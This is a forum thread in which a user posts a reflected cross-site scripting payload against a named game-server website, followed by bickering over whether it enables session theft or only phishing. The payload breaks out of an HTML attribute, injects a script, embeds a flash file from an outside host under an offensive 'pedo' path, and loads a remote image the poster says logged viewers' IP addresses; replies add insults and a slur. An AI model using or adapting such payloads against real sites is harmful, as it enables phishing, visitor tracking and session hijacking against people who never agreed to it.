[XSS] Eternia

[FapMax]

 Spoiler

XSS CODE

lastchaos.eterniagames.com/s_ep3/?op=validate&validation=1337
', {method: 'get', asynchronous:true, evalScripts:true}); esperar('none'); return false;" />
<script>alert('Greetings from FapMax, ************.');</script>
<embed width="100%" height="100%" name="plugin" src="http://****************/swf/pedo/pedo.swf" type="application/x-shockwave-flash">
<img src="http://www.abload.de/img/lolk6po0.png">
<div></'

[Kryser]

Nice work FapMax!!!

[Voyd7]

Hahaha

[NeoLeonie]

Again thanks FapMax !

[FapMax]

Originally Posted by WarmongerR4

You guys do understand you can't do much with this type of XSS. It effects the server none, it only reflects these changes client side. The only use for this type of XSS is phishing. This is not a critical problem and can remain the way it is without any security vulnerabilities. Nice try script kiddie but you still got a long ways to catch up with me.

Yeah Session stealing is not an Security Issue, seems legit.
I dont really care, i published this becouse it shows that even not the "Big" Server owners having good Programmers.

[WarmongerR4]

Originally Posted by FapMax

Yeah Session stealing is not an Security Issue, seems legit.
I dont really care, i published this becouse it shows that even not the "Big" Server owners having good Programmers.

You're not hijacking sessions here kiddo.

[Voyd7]

Originally Posted by WarmongerR4

You're not hijacking sessions here kiddo.

Servers That Have Felt My Wrath - Rage, Legendary, World Of Dums, Supreme, Epic

Go home, you're drunk.

[FapMax]

Originally Posted by WarmongerR4

You're not hijacking sessions here kiddo.

*facepalm* but i coud, i think youre to retarded to understand XSS. You even had to Google about my Trick with getting your IP over an linked "Image".

As you can see here.

[Wayne...?™]

Haha Fap Altes Haus du Bist der Beste Bald ist LC Ger Dran

Und Dann Langsam die Welt Ich mache Glaubig einen Club ,,Lang Lebe FapMax''

Wer will Rein ?

[AlienTime]

Client Side xss ist schön aber fap, server xss wäre sinvoller

[Wizatek]

Nothing much that can be done with it, unless someone is stupid enough to click a link like that. Its not like u can put a permanent thing there that will show for everyone all the time.

[FapMax]

Originally Posted by wizatek

Nothing much that can be done with it, unless someone is stupid enough to click a link like that. Its not like u can put a permanent thing there that will show for everyone all the time.

Did you ever heard about something in HTML called "Iframe" ?

[WarmongerR4]

Originally Posted by wizatek

Nothing much that can be done with it, unless someone is stupid enough to click a link like that. Its not like u can put a permanent thing there that will show for everyone all the time.

Haha that's what I said, and FapMax reported my posts. Since the changes are entirely client side, you can only phish with this. And being he doesn't own even a similar Eternia domain he wont be able to do **** with this type of XSS.

[Wizatek]

Originally Posted by FapMax

Did you ever heard about something in HTML called "Iframe" ?

Yes, but a iframe will work as a independent page. None of the variables of the first site will be passed to the page inside the iframe.

But u miss my point.
If u do a xss on a forum or news post, then other people might see it because its now in the content.
But like u do it, its only when people click that link, if not they will just get the normal page.

[FapMax]

// close request.